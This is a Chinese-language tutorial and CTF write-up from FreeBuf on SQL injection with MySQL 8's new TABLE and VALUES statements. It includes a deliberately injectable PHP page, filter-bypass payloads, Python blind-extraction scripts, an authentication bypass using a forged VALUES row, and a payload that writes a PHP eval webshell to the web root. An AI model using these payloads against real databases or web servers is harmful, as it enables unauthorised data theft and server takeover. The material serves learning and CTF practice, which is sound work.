freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一篇文章弄懂mysql8新特性注入
2021-11-16 13:24:52
所属地 湖南省

前言

最近打比赛的时候遇到了mysql8的知识点,这里就从环境搭建开始到注入一起一步步慢慢学习。

环境搭建

我这里是用docker在服务器上拉的,然后用navicat来看的

下载

docker pull mysql:8.0.21docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21

进入mysql容器,并登陆mysql

docker exec -it mysql8 bashmysql -uroot -p//然后输入密码

开启远程访问权限

use mysql;select host,user from user;ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';flush privileges;

1637040011_61933f8b072ed22ba25e6.png!small

连进去看看版本号就可以了,如果是8.0.21则环境搭建完成

1637040022_61933f962a9f39acea645.png!small

基本知识

本次测试所用到的user表内容如下

1637040034_61933fa22eeab484f21ed.png!small

table

基本用法

在MYSQL8以后出现的新语法,作用和select类似。

作用:列出表中全部内容语法:TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] 

1637040051_61933fb34a3617474da70.png!small

支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。

table user order by 2table user limit 2

与SELECT的区别:

1.TABLE始终显示表的所有列2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

注意事项

比较问题1
(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)结果TABLESOACE_NAMEtmp/user

这里用小于号进行比较

select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:0
select (('s','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:1
select (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:1

综上可以看出来如果是u的,其ascii 编码大于t的,得到的是1。

但是如果是s的话小于得到1,但是如果是t的话是等于,但是这里的返回值则为1。

所以在进行注入中注意要把得到的数ascii值减1。

比较问题2

来看下面的两个例子

select (('tmp/use','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:1
select (('tmp/user','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:NULL
select (('tmp/uses','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))返回值:0

所以这里在判断最后一位是,要注意这里记得到取0之前的值。

整数比较问题
table user limit 0,1返回值:1 hel

看下面的例子

select (('0',2)<(table user limit 0,1))返回值:1
select (('1',2)<(table user limit 0,1))返回值:0
select (('2',2)<(table user limit 0,1))返回值:0
select (('0aaaa',2)<(table user limit 0,1))返回值:1
select (('1aaaa',2)<(table user limit 0,1))返回值:0

在这里,由于id是整型,当我们输入的是字符型时,在进行比较过程中,字符型会被强制转换为整型,而不是像之前一样读到了第一位以后没有第二位就会停止,也就是都会强制转换为整型进行比较并且会一直持续下去,所以以后写脚本当跑到最后一位的时候尤其需要注意。

VALUES

VALUES 类似于其他数据库的 ROW 语句,造数据时非常有用。

作用:列出一行的值语法:VALUES row_constructor_list[ORDER BY column_designator][LIMIT BY number] row_constructor_list:   ROW(value_list)[, ROW(value_list)][, ...]value_list:   value[, value][, ...]column_designator:   column_index

他的语法看起来很长,但用起来很简洁。

基本使用

VALUES ROW(1,2)VALUES ROW(1,2,3)VALUES ROW(1,2,3),ROW(5,6,7)

配合union使用

VALUES ROW(1, 2) union select * from userselect * from user union VALUES ROW(1, 2)

information_schema.TABLESPACES_EXTENSIONS

我们可以通过这个表去查询所有数据库中的数据库和数据表

table information_schema.TABLESPACES_EXTENSIONS等价于select * from information_schema.TABLESPACES_EXTENSIONS

1637040064_61933fc09f921510dbb74.png!small

在这里我也列出几个和他相同功能的函数

information_schema.SCHEMA information_schema.TABLESinformation.COLUMNSmysql.innodb_table_statsmysql.innodb_index_statssys.schema_tables_with_full_table_scans

实战演练

基础练习

index.php

<?php// error_reporting(0);require_once('config.php');highlight_file(__FILE__);$id = isset($_POST['id'])? $_POST['id'] : 1;if (preg_match("/(select|and|or| )/i",$id) == 1){die("MySQL version: ".$conn->server_info);}$data = $conn->query("SELECT username from users where id = $id");foreach ($data as $users){var_dump($users['username']);}?>

config.php

<?php// config.php$dbhost = 'ip';       // mysql服务器主机地址$dbuser = 'root';           // mysql用户名$dbpass = '123456';          // mysql用户名密码$dbname = 'user';         // mysql数据库$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);?>

数据库信息

1637040076_61933fccf132bd4f0175c.png!small

输入id会返回数据库的值1637040088_61933fd8e6e69efc9b1a2.png!small

这里过滤了几个字符,尝试绕过并报出数据库

id=0%09union%09values%09row(database())

爆字段1637040099_61933fe3c0d2bfe26dafa.png!small

如果字段数多了或者少了会报错

1637040107_61933febc44225b0a7b64.png!small

得到字段数

id=0%09||('1','')<(table%09users%09limit%091)//有回显id=0%09||('2','')<(table%09users%09limit%091)//无回显

然后去爆破值

select ('1','a')<(table users limit 1)//有回显select ('1','r')<(table users limit 1)//有回显id=0%09||('1','s')<(table%09users%09limit%091)//这里就可以得到第一个值,然后继续爆id=0%09||('1','roos')<(table%09users%09limit%091)//有回显id=0%09||('1','root')<(table%09users%09limit%091)//无回显

到这里记得在最后一个值加上1,这样就可以得到数据库的值

脚本

import requestsdef ord2hex(string):result = ""for i in string:r = hex(ord(i));r = r.replace('0x','')result = result+rreturn '0x'+resulttables = 'roabcdefghijklmnpqstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'flag = ""for i in range(0,50):for j in range(110,122):data = {'id':"0/**/||('1','%s')<(table/**/users/**/limit/**/1)"%(flag+chr(j)),}r = requests.post('http://127.0.0.1/index.php',data=data);print(data)if 'string(4)' in r.text:continueelse:flag = flag +chr(j-1)print(flag)breakif(len(flag)<i):breakprint(flag[:-1]+chr(ord(flag[-1:])+1))

写文件

除了上面的方法还可以通过读写来getshell

查看是否有权限写入文件

id=0/**/union/**/values/**/row(user())id=0/**/union/**/values/**/row(@@secure_file_priv)

如果有,则可以通过下面的语句写入

id=0/**/union/**/values/**/row(load_file('/flag'))
id=0/**/union/**/values/**/row(0x3c3f706870 406576616c28245f504f53545b315d293b3f3e)/**/into/**/outfile/**/'/var/www/html/shell.php'//<?php @eval($_POST[1]);?>

香山杯---login

这个题目没环境,这里就凭借自己的记忆力简单写一下解题过程。

描述

题目内容:只是一个简单的登录框,登录就有flag。hint: mysql8新特性:values的利用

解题过程

进去就一个登陆框,直接抓包看看

发现这里对于不同的sql注入字符的弹窗是不同反应,如果被过滤了会弹出呵呵

简单爆破一下,发现select被过滤了,这里想到了mysql8.0.2版本的table绕过。

这里还可以用||来进行拼接。

测试,发现这样就可以进行注入。

username=123' || 1=1#&password=456&login=login

脚本

import requestsflag=''i=0while True:small=32big=127i=i+1while small<big:mid=small+big>>1data={'username':f"1' || ascii(mid(database(),{i},1))>{mid}#",'password':'1',}r=requests.post('http://eci-2ze6yq2cnbmcsh0tfry6.cloudeci1.ichunqiu.com/',data=data)if '密码错误' in r.text:small=mid+1else:big=midif(i>4):breakelse:print(chr(small))flag+=chr(small)print(flag)

通过上面的脚本可以知道数据库的名称,然后通过table去爆破表。

import requestsdef ord2hex(string):result = ""for i in string:r = hex(ord(i));r = r.replace('0x','')result = result+rreturn '0x'+resulttables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'flag = ""for i in range(0,50):for j in range(48,122):data = {# 'username':"a0'||(('1','admin','%s')<(table ctfusers limit 0,1))#"%(flag+chr(j)),#'username':"a0'||(('ctf','%s',3,4,5,6,7,8)<=(table mysql.innodb_index_stats limit 2,1))#"%(flag+chr(j)),# username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login'password':'',}r = requests.post('http://eci-2zefs2aa42oei8t7ms26.cloudeci1.ichunqiu.com',data=data);if '用户名不存在' in r.text:flag = flag +chr(j-1)print(flag)break

上面脚本可以爆破出数据库的值,但是这里的密码是md5加密的,不能直接解密。

本题就用union去生成了一个新的values来进行绕过。

username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login

登录进去就有flag了。

搭建环境问题

如果在搭建本地环境中出现了Call to a member function query() on boolean的问题的话,修改/etc/mysql/my.cnf文件。(注意一下,这里可能文件的路径会不一样,只要找my.cnf就可以)

就添加这两行

bind-address = 0.0.0.0default_authentication_plugin=mysql_native_password

完整的代码

# Copyright (c) 2017, Oracle and/or its affiliates. All rights reserved.## This program is free software; you can redistribute it and/or modify# it under the terms of the GNU General Public License as published by# the Free Software Foundation; version 2 of the License.## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU General Public License for more details.## You should have received a copy of the GNU General Public License# along with this program; if not, write to the Free Software# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA## The MySQL Server configuration file.## For explanations see# http://dev.mysql.com/doc/mysql/en/server-system-variables.html[mysqld]pid-file       = /var/run/mysqld/mysqld.pidsocket         = /var/run/mysqld/mysqld.sockdatadir         = /var/lib/mysqlsecure-file-priv= NULLbind-address = 0.0.0.0default_authentication_plugin=mysql_native_password# Custom config should go here

参考文章

http://www.jzpc.com.cn/jq/185709.html

https://www.actionsky.com/2777.html

https://blog.csdn.net/HBohan/article/details/119757059

# 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录